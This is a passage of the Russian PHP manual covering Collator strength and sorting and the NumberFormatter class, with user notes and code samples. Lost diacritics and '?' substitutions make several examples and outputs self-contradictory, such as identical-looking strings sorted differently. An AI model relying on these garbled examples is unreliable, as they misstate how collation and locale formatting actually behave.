$collator->setAttribute(\Collator::NORMALIZATION_MODE, \Collator::ON);


Устанавливает силу сопоставления

  • « Collator::setAttribute
  • Collator::sortWithSortKeys »
  • PHP Manual
  • Collator
  • Устанавливает силу сопоставления

Collator::setStrength

collator_set_strength

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Collator::setStrength -- collator_set_strength — Устанавливает силу сопоставления

Описание

Объектно-ориентированный стиль

public Collator::setStrength(int $strength): bool

Процедурный стиль

collator_set_strength(Collator $object, int $strength): bool

Служба сопоставления » ICU поддерживает множество уровней сравнения (называемых "Уровни", но также известных как "Сила сравнения"). Наличие этих категорий позволяет ICU сортировать строки точно в соответствии с местными соглашениями. Однако, позволяя выборочно использовать уровни, поиск строки в тексте может выполняться с различными условиями сопоставления.

  1. Первичный уровень: Обычно используется для обозначения различий между основными символами (например, "a" < "b"). Это самая большая разница. Например, словари разбиты на разные разделы по основному символу. Также называется силой level 1.

  2. Вторичный уровень: Акценты в символах считаются вторичными отличиями (например, "as" < "as" < "at"). Другие различия между буквами также можно считать вторичными, в зависимости от языка. Вторичное отличие игнорируется, если есть первичное различие где-либо в строках. Также называется силой level 2.

    Замечание:

    Примечание: В некоторых языках (например, датском) определённые буквы с диакритическими знаками считаются отдельными базовыми символами. Однако, в большинстве языков, буква с ударением имеет лишь второстепенное отличие от версии этой буквы без ударения.

  3. Третичный уровень: Различия в верхнем и нижнем регистре символов различаются на третичном уровне (например, "ao" < "Ao" < "ao"). Кроме того, вариант буквы отличается от базовой формы на третичном уровне (например, "A" и " "). Другой пример - разница между большой и маленькой Кана. Третичное различие игнорируется, если где-либо в строках есть первичное или вторичное различие. Также называется силой level 3.

  4. Четвертичный уровень: Когда пунктуация игнорируется (смотрите Игнорирование знаков препинания) на уровнях 1-3, можно использовать дополнительный уровень для различения слов с пунктуацией и без неё (например, "ab" < "a-b" < "aB"). Эта разница игнорируется, если есть первичная, вторичная или третичная разница. Также называется силой level 4. Четвертичный уровень следует использовать только в том случае, если требуется игнорирование знаков препинания или при обработке японского текста (смотрите Обработка хираганы).

  5. Идентичный уровень: Когда все остальные уровни равны, идентичный уровень используется в качестве тай-брейка. Значения кодовых точек Unicode формы NFD каждой строки сравниваются на этом уровне, на всякий случай, если нет разницы на уровнях 1-4. Например, кантиляционные знаки иврита различаются только на этом уровне. Этот уровень следует использовать с осторожностью, поскольку разница только в значениях кодовых точек между двумя строками является крайне редким явлением. Использование этого уровня существенно снижает производительность как для инкрементного сравнения, так и для генерации ключа сортировки (а также увеличивает длину ключа сортировки). Также называется силой level 5.

Например, люди могут игнорировать акценты или игнорировать акценты и регистр при поиске текста. Почти все символы различаются по первым трём уровням, поэтому в большинстве языков значение по умолчанию - третичный. Однако, если для параметра "Альтернативный" задано значение "Shifted", то четвертичную силу можно использовать для разрыва связей между пробелами, пунктуацией и символами, которые в противном случае были бы проигнорированы. Если требуются очень тонкие различия между символами, тогда можно использовать Идентичный уровень (например, Идентичный уровень различает Mathematical Bold Small A и the Mathematical Italic Small A.). Однако использование уровней выше, чем третичный, идентичная сила приводит к значительно более длинным ключам сортировки и снижению производительности сравнения строк для равных строк.

Список параметров

object

Объект Collator.

strength

Strength to set.

Допустимые значения:

  • Collator::PRIMARY

  • Collator::SECONDARY

  • Collator::TERTIARY

  • Collator::QUATERNARY

  • Collator::IDENTICAL

  • Collator::DEFAULT_STRENGTH

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования collator_set_strength()

<?php
$arr = array( 'ao', 'Ao', 'ao' );
$coll = collator_create( 'en_US' );

// Сортировка массива с использованием силы по умолчанию.
collator_sort( $coll, $arr );
var_export( $arr );

// Сортировка массива с использованием первичной силы.
collator_set_strength( $coll, Collator::PRIMARY );
collator_sort( $coll, $arr );
var_export( $arr );
?>

Результат выполнения данного примера:

array (
  0 => 'ao',
  1 => 'Ao',
  2 => 'ao',
)
array (
  0 => 'ao',
  1 => 'Ao',
  2 => 'ao',
)

Смотрите также

  • Константы Collator
  • collator_get_strength() - Получает текущую силу сопоставления

User Contributed Notes

There are no user contributed notes for this page.


Сортирует массив с использованием указанного Collator и ключей сортировки

  • « Collator::setStrength
  • Collator::sort »
  • PHP Manual
  • Collator
  • Сортирует массив с использованием указанного Collator и ключей сортировки

Collator::sortWithSortKeys

collator_sort_with_sort_keys

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Collator::sortWithSortKeys -- collator_sort_with_sort_keys — Сортирует массив с использованием указанного Collator и ключей сортировки

Описание

Объектно-ориентированный стиль

public Collator::sortWithSortKeys(array &$array): bool

Процедурный стиль

collator_sort_with_sort_keys(Collator $object, array &$array): bool

То же, что и collator_sort(), но использует ключи сортировки ICU, созданные ucol_getSortKey() для увеличения скорости работы с большими массивами.

Список параметров

object

Объект Collator.

array

Массив строк для сортировки

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования collator_sort_with_sort_keys()

<?php
$arr = array( 'Kopfe', 'Kypper', 'Kopfe' );
$coll = collator_create( 'sv' );

collator_sort_with_sort_keys( $coll, $arr );
var_export( $arr );
?>

Результат выполнения данного примера:

array (
  0 => 'Kopfe',
  1 => 'Kypper',
  2 => 'Kopfe',
)

Смотрите также

  • Константы Collator
  • collator_sort() - Сортирует массив с использованием указанного средства сортировки
  • collator_asort() - Сортирует массив с сохранением ассоциации индекса

User Contributed Notes

There are no user contributed notes for this page.


Сортирует массив с использованием указанного средства сортировки

  • « Collator::sortWithSortKeys
  • NumberFormatter »
  • PHP Manual
  • Collator
  • Сортирует массив с использованием указанного средства сортировки

Collator::sort

collator_sort

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Collator::sort -- collator_sort — Сортирует массив с использованием указанного средства сортировки

Описание

Объектно-ориентированный стиль

public Collator::sort(array &$array, int $flags = Collator::SORT_REGULAR): bool

Процедурный стиль

collator_sort(Collator $object, array &$array, int $flags = Collator::SORT_REGULAR): bool

Функция сортирует массив в соответствии с текущими правилами локали.

Эквивалентна стандартной функции PHP sort() .

Список параметров

object

Объект Collator.

array

Array of strings to sort.

flags

Необязательный тип сортировки, один из следующих:

  • Collator::SORT_REGULAR - сравнивает элементы как обычно (не изменяя тип)

  • Collator::SORT_NUMERIC - сравнивает элементы, как числа

  • Collator::SORT_STRING - сравнивает элементы, как строки

Тип сортировки по умолчанию - Collator::SORT_REGULAR. Он также используется, если указано недопустимое значение flags.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования collator_sort()

<?php
$coll = collator_create( 'en_US' );
$arr = array( 'at', 'as', 'as' );

var_export( $arr );
collator_sort( $coll, $arr );
var_export( $arr );
?>

Результат выполнения данного примера:

array (
  0 => 'at',
  1 => 'as',
  2 => 'as',
)array (
  0 => 'as',
  1 => 'as',
  2 => 'at',
)

Смотрите также

  • Константы Collator
  • collator_asort() - Сортирует массив с сохранением ассоциации индекса
  • collator_sort_with_sort_keys() - Сортирует массив с использованием указанного Collator и ключей сортировки

User Contributed Notes

There are no user contributed notes for this page.


The NumberFormatter class

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Введение

Программы хранят и оперируют числами используя, не зависящее от локали, бинарное представление. Когда же они выводятся на экран или печатаются, они конвертируются в строки в соответствии с требованиями локали. К примеру, число 12345.67 выведется как "12,345.67" в локали US, как "12 345,67" во французской локали и как "12.345,67" в немецкой.

Вызывая методы этого класса, вы можете форматировать числа, денежные единицы и процентные величины в представлении нужной локали. Класс NumberFormatter чувствителен к локали, следовательно вам необходимо будет создавать новый экземпляр класса для каждой локали. Методы NumberFormatter форматируют примитивные типы чисел, такие как "double", и выводят их в специфичном для локали представлении.

Для денежных единиц вы можете использовать тип форматирования денежных единиц, который возвращает строку с отформатированным числом и символом денежной единицы. Естественно NumberFormatter не знает о курсах обмена, так что для всех денежных единиц будет возвращено одно и то же число. К примеру, для числа 9988776.65 результат будет такой:

  • 9 988 776,65 € для Франции
  • 9.988.776,65 € для Германии
  • $9,988,776.65 для США

Для форматирования процентных величин используется свой тип форматирования. При таком форматировании число 0.75 будет выведено как 75%.

Для более сложного форматирования, например для разбора числа, используется форматирование основанное на наборе правил.

Обзор классов

class NumberFormatter {
/* Константы */
public const int PATTERN_DECIMAL;
public const int DECIMAL;
public const int CURRENCY;
public const int PERCENT;
public const int SCIENTIFIC;
public const int SPELLOUT;
public const int ORDINAL;
public const int DURATION;
public const int PATTERN_RULEBASED;
public const int IGNORE;
public const int CURRENCY_ACCOUNTING;
public const int DEFAULT_STYLE;
public const int ROUND_CEILING;
public const int ROUND_FLOOR;
public const int ROUND_DOWN;
public const int ROUND_UP;
public const int ROUND_HALFEVEN;
public const int ROUND_HALFDOWN;
public const int ROUND_HALFUP;
public const int PAD_BEFORE_PREFIX;
public const int PAD_AFTER_PREFIX;
public const int PAD_BEFORE_SUFFIX;
public const int PAD_AFTER_SUFFIX;
public const int PARSE_INT_ONLY;
public const int GROUPING_USED;
public const int DECIMAL_ALWAYS_SHOWN;
public const int MAX_INTEGER_DIGITS;
public const int MIN_INTEGER_DIGITS;
public const int INTEGER_DIGITS;
public const int MAX_FRACTION_DIGITS;
public const int MIN_FRACTION_DIGITS;
public const int FRACTION_DIGITS;
public const int MULTIPLIER;
public const int GROUPING_SIZE;
public const int ROUNDING_MODE;
public const int ROUNDING_INCREMENT;
public const int FORMAT_WIDTH;
public const int PADDING_POSITION;
public const int SECONDARY_GROUPING_SIZE;
public const int SIGNIFICANT_DIGITS_USED;
public const int MIN_SIGNIFICANT_DIGITS;
public const int MAX_SIGNIFICANT_DIGITS;
public const int LENIENT_PARSE;
public const int POSITIVE_PREFIX;
public const int POSITIVE_SUFFIX;
public const int NEGATIVE_PREFIX;
public const int NEGATIVE_SUFFIX;
public const int PADDING_CHARACTER;
public const int CURRENCY_CODE;
public const int DEFAULT_RULESET;
public const int PUBLIC_RULESETS;
public const int DECIMAL_SEPARATOR_SYMBOL;
public const int GROUPING_SEPARATOR_SYMBOL;
public const int PATTERN_SEPARATOR_SYMBOL;
public const int PERCENT_SYMBOL;
public const int ZERO_DIGIT_SYMBOL;
public const int DIGIT_SYMBOL;
public const int MINUS_SIGN_SYMBOL;
public const int PLUS_SIGN_SYMBOL;
public const int CURRENCY_SYMBOL;
public const int INTL_CURRENCY_SYMBOL;
public const int MONETARY_SEPARATOR_SYMBOL;
public const int EXPONENTIAL_SYMBOL;
public const int PERMILL_SYMBOL;
public const int PAD_ESCAPE_SYMBOL;
public const int INFINITY_SYMBOL;
public const int NAN_SYMBOL;
public const int SIGNIFICANT_DIGIT_SYMBOL;
public const int MONETARY_GROUPING_SEPARATOR_SYMBOL;
public const int TYPE_DEFAULT;
public const int TYPE_INT32;
public const int TYPE_INT64;
public const int TYPE_DOUBLE;
public const int TYPE_CURRENCY;
/* Методы */
public __construct(string $locale, int $style, ?string $pattern = null)
public static create(string $locale, int $style, ?string $pattern = null): ?NumberFormatter
public formatCurrency(float $amount, string $currency): string|false
public format(int|float $num, int $type = NumberFormatter::TYPE_DEFAULT): string|false
public getAttribute(int $attribute): int|float|false
public getErrorCode(): int
public getErrorMessage(): string
public getLocale(int $type = ULOC_ACTUAL_LOCALE): string|false
public getPattern(): string|false
public getSymbol(int $symbol): string|false
public getTextAttribute(int $attribute): string|false
public parseCurrency(string $string, string &$currency, int &$offset = null): float|false
public parse(string $string, int $type = NumberFormatter::TYPE_DOUBLE, int &$offset = null): int|float|false
public setAttribute(int $attribute, int|float $value): bool
public setPattern(string $pattern): bool
public setSymbol(int $symbol, string $value): bool
public setTextAttribute(int $attribute, string $value): bool
}

Предопределённые константы

Данные стили используются функцией numfmt_create() для определения типа форматирования.

NumberFormatter::PATTERN_DECIMAL
Формат с десятичной точкой заданный шаблоном
NumberFormatter::DECIMAL
Формат с десятичной точкой
NumberFormatter::CURRENCY
денежный формат
NumberFormatter::PERCENT
Процентный формат
NumberFormatter::SCIENTIFIC
Научный формат
NumberFormatter::SPELLOUT
Разобранный формат на основе правил
NumberFormatter::ORDINAL
Числительный формат на основе правил
NumberFormatter::DURATION
Формат длительности на основе правил
NumberFormatter::PATTERN_RULEBASED
Формат на основе правил по шаблону
NumberFormatter::CURRENCY_ACCOUNTING
Формат валюты для учёта, например, ($3.00) для отрицательной суммы в валюте вместо -$3.00. Доступно с PHP 7.4.1 и ICU 53.
NumberFormatter::DEFAULT_STYLE
Формат по умолчанию для локали
NumberFormatter::IGNORE
Псевдоним для PATTERN_DECIMAL

Данные константы определяют как будут разобраны или отформатированы числа. Их необходимо передавать функциям numfmt_format() и numfmt_parse().

NumberFormatter::TYPE_DEFAULT
Тип определяется типом переменной
NumberFormatter::TYPE_INT32
Форматирование/разбор как 32-битного целого
NumberFormatter::TYPE_INT64
Форматирование/разбор как 64-битного целого
NumberFormatter::TYPE_DOUBLE
Форматирование/разбор как рационального (float)
NumberFormatter::TYPE_CURRENCY
Форматирование/разбор как денежной единицы. Устарело, начиная с PHP 8.3.0

Атрибут формата чисел для numfmt_get_attribute() и numfmt_set_attribute().

NumberFormatter::PARSE_INT_ONLY
Разбирать только целые.
NumberFormatter::GROUPING_USED
Использовать группирующий разделитель.
NumberFormatter::DECIMAL_ALWAYS_SHOWN
Всегда показывать десятичную точку.
NumberFormatter::MAX_INTEGER_DIGITS
Максимальное число целых цифр.
NumberFormatter::MIN_INTEGER_DIGITS
Минимальное число целых цифр.
NumberFormatter::INTEGER_DIGITS
Целых цифр.
NumberFormatter::MAX_FRACTION_DIGITS
Максимальное число цифр после запятой.
NumberFormatter::MIN_FRACTION_DIGITS
Минимальное число цифр после запятой.
NumberFormatter::FRACTION_DIGITS
Число цифр после запятой.
NumberFormatter::MULTIPLIER
Множитель.
NumberFormatter::GROUPING_SIZE
Размер группировки.
NumberFormatter::ROUNDING_MODE
Режим округления.
NumberFormatter::ROUNDING_INCREMENT
Приращение округления.
NumberFormatter::FORMAT_WIDTH
Ширина на которую будет дополнен вывод format().
NumberFormatter::PADDING_POSITION
Позиция с которой дополнение будет иметь место. Смотрите описание констант дополнения.
NumberFormatter::SECONDARY_GROUPING_SIZE
Вторичный размер группировки.
NumberFormatter::SIGNIFICANT_DIGITS_USED
Использовать значащие цифры.
NumberFormatter::MIN_SIGNIFICANT_DIGITS
Минимальное количество значащих цифр.
NumberFormatter::MAX_SIGNIFICANT_DIGITS
Максимальное количество значащих цифр.
NumberFormatter::LENIENT_PARSE
Режим снисходительны синтаксического анализа для основанных на правилах форматов.

Атрибуты текста форматирования чисел, используются в numfmt_get_text_attribute() и numfmt_set_text_attribute().

NumberFormatter::POSITIVE_PREFIX
Положительный префикс.
NumberFormatter::POSITIVE_SUFFIX
Положительный суффикс.
NumberFormatter::NEGATIVE_PREFIX
Отрицательный префикс.
NumberFormatter::NEGATIVE_SUFFIX
Отрицательный суффикс.
NumberFormatter::PADDING_CHARACTER
Символ для дополнения строки.
NumberFormatter::CURRENCY_CODE
Код денежной единицы ISO.
NumberFormatter::DEFAULT_RULESET
Набор правил по умолчанию. Доступно только для форматирования на основе правил.
NumberFormatter::PUBLIC_RULESETS
Публичный набор правил. Доступно только для форматирования на основе правил. Этот атрибут доступен только на чтение. Публичный набор правил возвращается в виде строки, в которой каждый набор правил отделен точкой с запятой (;).

Символы форматирования чисел для numfmt_get_symbol() и numfmt_set_symbol().

NumberFormatter::DECIMAL_SEPARATOR_SYMBOL
Десятичный разделитель.
NumberFormatter::GROUPING_SEPARATOR_SYMBOL
Разделитель групп.
NumberFormatter::PATTERN_SEPARATOR_SYMBOL
Символ разделителя в шаблона.
NumberFormatter::PERCENT_SYMBOL
Символ процента.
NumberFormatter::ZERO_DIGIT_SYMBOL
Ноль.
NumberFormatter::DIGIT_SYMBOL
Символ представляющий цифру в шаблоне.
NumberFormatter::MINUS_SIGN_SYMBOL
Знак минус.
NumberFormatter::PLUS_SIGN_SYMBOL
Знак плюс.
NumberFormatter::CURRENCY_SYMBOL
Символ обозначения денежной единицы.
NumberFormatter::INTL_CURRENCY_SYMBOL
The international currency symbol.
NumberFormatter::MONETARY_SEPARATOR_SYMBOL
Денежный разделитель.
NumberFormatter::EXPONENTIAL_SYMBOL
Символ степени десяти.
NumberFormatter::PERMILL_SYMBOL
Символ промилле.
NumberFormatter::PAD_ESCAPE_SYMBOL
Экранирование символа заполнителя.
NumberFormatter::INFINITY_SYMBOL
Символ бесконечности.
NumberFormatter::NAN_SYMBOL
Символ NAN (Not-a-number, не-число).
NumberFormatter::SIGNIFICANT_DIGIT_SYMBOL
Символ значащей цифры.
NumberFormatter::MONETARY_GROUPING_SEPARATOR_SYMBOL
Разделитель групп для денежного формата.

Режимы округления для numfmt_get_attribute()
и numfmt_set_attribute() с атрибутом
NumberFormatter::ROUNDING_MODE.

NumberFormatter::ROUND_CEILING
Округление в сторону положительной бесконечности.
NumberFormatter::ROUND_DOWN
Округление вниз.
NumberFormatter::ROUND_FLOOR
Округление в сторону отрицательной бесконечности.
NumberFormatter::ROUND_HALFDOWN
Округление в сторону "ближайшего соседа" кроме случаев, когда они на одинаковом расстоянии. В этом случае округление вниз.
NumberFormatter::ROUND_HALFEVEN
Округление в сторону "ближайшего соседа" кроме случаев, когда они на одинаковом расстоянии. В этом случае округление к чётному значению.
NumberFormatter::ROUND_HALFUP
Округление в сторону "ближайшего соседа" кроме случаев, когда они на одинаковом расстоянии. В этом случае округление вверх.
NumberFormatter::ROUND_UP
Округление вверх.

Значения позиции дополнения для numfmt_get_attribute()
и numfmt_set_attribute() с атрибутом
NumberFormatter::PADDING_POSITION.

NumberFormatter::PAD_AFTER_PREFIX
Символы дополнения вставляются после префикса.
NumberFormatter::PAD_AFTER_SUFFIX
Символы дополнения вставляются после суффикса.
NumberFormatter::PAD_BEFORE_PREFIX
Символы дополнения вставляются до префикса.
NumberFormatter::PAD_BEFORE_SUFFIX
Символы дополнения вставляются до суффикса.

Смотрите также

  • » ICU formatting documentation
  • » ICU. Форматирование чисел
  • » ICU. Форматирование десятичных дробей
  • » ICU. Форматирование на основе правил

Содержание

  • NumberFormatter::create — Создаёт средство форматирования чисел
  • NumberFormatter::formatCurrency — Форматирует значение валюты
  • NumberFormatter::format — Форматирует число
  • NumberFormatter::getAttribute — Получает атрибут
  • NumberFormatter::getErrorCode — Получает последний код ошибки средства форматирования
  • NumberFormatter::getErrorMessage — Получает последнее сообщение об ошибке средства форматирования
  • NumberFormatter::getLocale — Получает локаль средства форматирования
  • NumberFormatter::getPattern — Получает шаблон средства форматирования
  • NumberFormatter::getSymbol — Получает значение символа
  • NumberFormatter::getTextAttribute — Получает текстовый атрибут
  • NumberFormatter::parseCurrency — Разбирает номер валюты
  • NumberFormatter::parse — Разбирает число
  • NumberFormatter::setAttribute — Устанавливает атрибут
  • NumberFormatter::setPattern — Устанавливает шаблон средства форматирования
  • NumberFormatter::setSymbol — Устанавливает значение символа
  • NumberFormatter::setTextAttribute — Устанавливает текстовый атрибут

User Contributed Notes

jimbo2150 at gmail dot com 12-Feb-2023 06:24
The NumberFormatter class can be used to convert integer numbers to Roman numerals without a custom function using an array of symbols and associated values:

<?php

function intToRomanNumeral(int $num) {
    static $nf = new NumberFormatter('@numbers=roman', NumberFormatter::DECIMAL);
    return $nf->format($num);
}

echo intToRomanNumeral(2); // II

echo intToRomanNumeral(5); // V

echo intToRomanNumeral(10); // X

echo intToRomanNumeral(50); // L

echo intToRomanNumeral(57); // LVII
echo intToRomanNumeral(58); // LVIII

echo intToRomanNumeral(100); // C

echo intToRomanNumeral(150); // CL

echo intToRomanNumeral(1000); // M

echo intToRomanNumeral(10000); // ?

?>
gwyneth dot llewelyn at gwynethllewelyn dot net 29-Jul-2022 12:49
When using the `NumberFormatter` class for pretty-printing currency in PHP 7.3 and 8+, it's not clear from the documentation that you can use the empty string "" as the locale for the constructor, and that will retrieve the default locale (whatever it has been set to in your environment).

`formatCurrency()`, by contrast, does not accept the empty string for the default currency symbol; it will display a 'generic' currency symbol instead (¤).

Tested with PHP 7.4.30, 8.0.21, 8.1.8 under Ubuntu Linux and 8.1.8 under macOS Big Sur (11.6.8). I tried under other alternatives (e.g. Linux running on ARM chips, PHP 7.3.3) but sadly the `NumberFormatter` library does not seem to be present (or could not be found) on those systems...
AF 17-Dec-2020 06:25
Please pay attention to the Arabic decimal separator (https://en.wikipedia.org/wiki/Decimal_separator#Other_numeral_systems).

All the following conditions are true:
<?php
(new \NumberFormatter("ar_AE", \NumberFormatter::DEFAULT_STYLE))->getSymbol(\NumberFormatter::DECIMAL_SEPARATOR_SYMBOL) === '?';
(new \NumberFormatter("ar_AE", \NumberFormatter::DEFAULT_STYLE))->getSymbol(\NumberFormatter::DECIMAL_SEPARATOR_SYMBOL) == '?';

(new \NumberFormatter("ar_AE", \NumberFormatter::DEFAULT_STYLE))->getSymbol(\NumberFormatter::DECIMAL_SEPARATOR_SYMBOL) !== ',';
(new \NumberFormatter("ar_AE", \NumberFormatter::DEFAULT_STYLE))->getSymbol(\NumberFormatter::DECIMAL_SEPARATOR_SYMBOL) != ',';
?>
stan at dragnev dot ca 06-Nov-2020 04:13
Here's an example of how to use PATTERN_DECIMAL to print a number with two fraction digits, use () for negative numbers and pad to five characters to the left of the decimal point, using spaces as the padding character:

<?php

$fmt = new NumberFormatter("en-CA", NumberFormatter::PATTERN_DECIMAL, "* #####.00 ;(* #####.00)");
echo $fmt->format(-45.1);

// Outputs: "  (45.10)"

?>

Note that the ; in the pattern denotes the beginning of a subpattern, which is used for negative numbers. Hence the brackets around the pattern after the semicolon.
Joey 20-Mar-2017 10:27
Be warned that this class sometimes lacks sufficient error output. I recently instantiated it while invalid pattern to the constructor.

    php -r '$nf = new \NumberFormatter("tlh-KX.UTF8", \NumberFormatter::IGNORE, "{,,#;#}");var_dump($nf->format(5));'

    Fatal error: Call to a member function format() on null in Command line code on line 1

Rather than emitting an error message or throwing an exception null is returned after calling new.

I'm not sure if it's fixed in PHP 7 but it's something to watch out for. Make sure you check your parameters very closely.
Adam 17-Feb-2017 12:21
Good to know Numberformatter::SPELLOUT using soft hypens.

So, if you want to avoid it use preg_replace:

<?php
$azaz = new NumberFormatter("hu-HU", NumberFormatter::SPELLOUT);
$text = preg_replace('~\x{00AD}~u', '', $azaz->format(123456));
print $text;
?>
Output without preg_replace:
egy-szaz-huszon-harom-ezer negy-szaz-otven-hat

Output with preg_replace:
egyszazhuszonharomezer negyszazotvenhat
giorgio dot liscio at email dot it 21-Mar-2011 10:59
this class seems to be painful: it is not, formatting and parsing are highly customizable, but what you probably need is really simple:

if you want to localize a number use:

<?php
$a = new \NumberFormatter("it-IT", \NumberFormatter::DECIMAL);
echo $a->format(12345.12345) . "<br>"; // outputs 12.345,12
$a->setAttribute(\NumberFormatter::MIN_FRACTION_DIGITS, 0);
$a->setAttribute(\NumberFormatter::MAX_FRACTION_DIGITS, 100); // by default some locales got max 2 fraction digits, that is probably not what you want
echo $a->format(12345.12345) . "<br>"; // outputs 12.345,12345
?>

if you want to print money use:

<?php
$a = new \NumberFormatter("it-IT", \NumberFormatter::CURRENCY);
echo $a->format(12345.12345) . "<br>"; // outputs €12.345,12
?>

if you have money data stored as (for example) US dollars and you want to print them using the it-IT notation, you need to use

<?php
$a = new \NumberFormatter("it-IT", \NumberFormatter::CURRENCY);
echo $a->formatCurrency(12345, "USD") . "<br>"; // outputs $ 12.345,00 and it is formatted using the italian notation (comma as decimal separator)
?>

another useful example about currency (how to obtain the currency name by a locale string):

<?php
$frontEndFormatter = new \NumberFormatter("it-IT", \NumberFormatter::CURRENCY);
$adminFormatter = new \NumberFormatter("en-US", \NumberFormatter::CURRENCY);
$symbol = $adminFormatter->getSymbol(\NumberFormatter::INTL_CURRENCY_SYMBOL); // got USD
echo $frontEndFormatter->formatCurrency(12345.12345,  $symbol) . "<br>";
?>
sudheer at binaryvibes dot co dot in 12-Jan-2011 12:41
Sample script to print number in English.

<?php
$f = new NumberFormatter("en", NumberFormatter::SPELLOUT);
echo $f->format(123456);

?>

Produces the result:
one hundred twenty-three thousand four hundred fifty-six


Создаёт средство форматирования чисел

  • « NumberFormatter
  • NumberFormatter::formatCurrency »
  • PHP Manual
  • NumberFormatter
  • Создаёт средство форматирования чисел

NumberFormatter::create

numfmt_create

NumberFormatter::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::create -- numfmt_create -- NumberFormatter::__construct — Создаёт средство форматирования чисел

Описание

Объектно-ориентированный стиль (метод)

public static NumberFormatter::create(string $locale, int $style, ?string $pattern = null): ?NumberFormatter

Процедурный стиль

numfmt_create(string $locale, int $style, ?string $pattern = null): ?NumberFormatter

Объектно-ориентированный стиль (конструктор):

public NumberFormatter::__construct(string $locale, int $style, ?string $pattern = null)

Создаёт средство форматирования чисел.

Список параметров

locale

Локаль, в которой будет отформатировано число (название локали, например en_CA).

style

Стиль форматирования, одна из констант стиля форматирования. Если передана NumberFormatter::PATTERN_DECIMAL или NumberFormatter::PATTERN_RULEBASED, то формат числа открывается с использованием данного шаблона, который должен соответствовать синтаксису, описанному в » документации ICU DecimalFormat или » документации ICU RuleBasedNumberFormat, соответственно.

pattern

Строка шаблона, если для выбранного стиля требуется шаблон.

Возвращаемые значения

Возвращает объект NumberFormatter или null в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | pattern теперь допускает значение null.

Примеры

Пример #1 Пример использования numfmt_create()

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
$fmt = numfmt_create( 'it', NumberFormatter::SPELLOUT );
echo numfmt_format($fmt, 1142)."\n";
?>

Пример #2 Пример использования NumberFormatter::create()

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo $fmt->format(1234567.891234567890000)."\n";
$fmt = new NumberFormatter( 'it', NumberFormatter::SPELLOUT );
echo $fmt->format(1142)."\n";
?>

Результат выполнения данного примера:

1.234.567,891
millicentoquarantadue

Смотрите также

  • numfmt_format() - Форматирует число
  • numfmt_parse() - Разбирает число

User Contributed Notes

igorsantos07 12-Sep-2018 12:46
Although there are ORDINAL and SPELLOUT formatters, it's not possible to join these together to turn "2" into "second". You'll either get "2nd", or "two", or something unexpected if you try to use bitwise operators.
daniel dot rhodes at warpasylum dot co dot uk 19-Aug-2011 08:43
It should be noted that the locale string passed into NumberFormatter's constructor doesn't play with UCA keywords quite as readily as, say, the Collator and IntlDateFormatter classes' constructors.

According to the Unicode spec (http://www.unicode.org/reports/tr35), I should be able to specify a locale of "ja_JP@numbers=jpanfin" which, for spellout mode, should give me Japanese financial (ie. anti-forgery) numerals. When passed into NumberFormatter's constructor, "ja_JP@numbers=jpanfin" doesn't work.

However, when I look at a dump of NumberFormatter::getPattern() for the ja_JP locale, I see that the financial numerals *are* in there (as %financial). Here's how we wrangle them out of the NumberFormatter:

<?php
$number = 1234567890;

$formatter = new NumberFormatter('ja_JP', NumberFormatter::SPELLOUT);

$formatter->setTextAttribute(NumberFormatter::DEFAULT_RULESET, "%financial");

echo $formatter->format($number);
//above gives [?????????????????] (as opposed to [?????????????????]) - bingo!
?>
F. Poirotte 15-Nov-2009 08:26
When formatting durations using the NumberFormatter::DURATION type, you may also need to use NumberFormatter::setTextAttribute to get the desired output.

<?php

$fmt = new NumberFormatter('en', NumberFormatter::DURATION);
// Outputs: string(7) "3:25:45"
var_dump($fmt->format(12345));

// "%in-numerals" is the default ruleset, so this results in the same as above.
$fmt->setTextAttribute(NumberFormatter::DEFAULT_RULESET, "%in-numerals");
// Outputs: string(7) "3:25:45"
var_dump($fmt->format(12345));

$fmt->setTextAttribute(NumberFormatter::DEFAULT_RULESET, "%with-words");
// Outputs: string(31) "3 hours, 25 minutes, 45 seconds"
var_dump($fmt->format(12345));

$fmt2 = new NumberFormatter('fr', NumberFormatter::DURATION);
// Outputs: string(7) "12 345"
// See notes below.
var_dump($fmt2->format(12345));

?>

This is a little counter-intuitive because there is not much doc available about the DURATION type.

Also, as far as I can tell, only the English (en) locale has support for the "%in-numerals" & "%with-words" rulesets. Other locales seem to simply format the input as if the DECIMAL type had been used (at least using "fr" or "de" as the target locale).

One way to provide that feature across different locales is to extract the ruleset implicitely used by NumberFormatter::DURATION and adapt it for the locales you're targetting. Use NumberFormatter::getPattern to extract the ruleset.


Форматирует значение валюты

  • « NumberFormatter::create
  • NumberFormatter::format »
  • PHP Manual
  • NumberFormatter
  • Форматирует значение валюты

NumberFormatter::formatCurrency

numfmt_format_currency

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::formatCurrency -- numfmt_format_currency — Форматирует значение валюты

Описание

Объектно-ориентированный стиль

public NumberFormatter::formatCurrency(float $amount, string $currency): string|false

Процедурный стиль

numfmt_format_currency(NumberFormatter $formatter, float $amount, string $currency): string|false

Форматирует значение валюты в соответствии с правилами форматирования.

Список параметров

formatter

Объект NumberFormatter.

amount

Числовое значение валюты.

currency

Трёхбуквенный код валюты ISO 4217, обозначающий используемую валюту.

Возвращаемые значения

Строка, представляющая форматированное значение валюты или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования numfmt_format_currency()

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::CURRENCY );
echo numfmt_format_currency($fmt, 1234567.891234567890000, "EUR")."\n";
echo numfmt_format_currency($fmt, 1234567.891234567890000, "RUR")."\n";
$fmt = numfmt_create( 'ru_RU', NumberFormatter::CURRENCY );
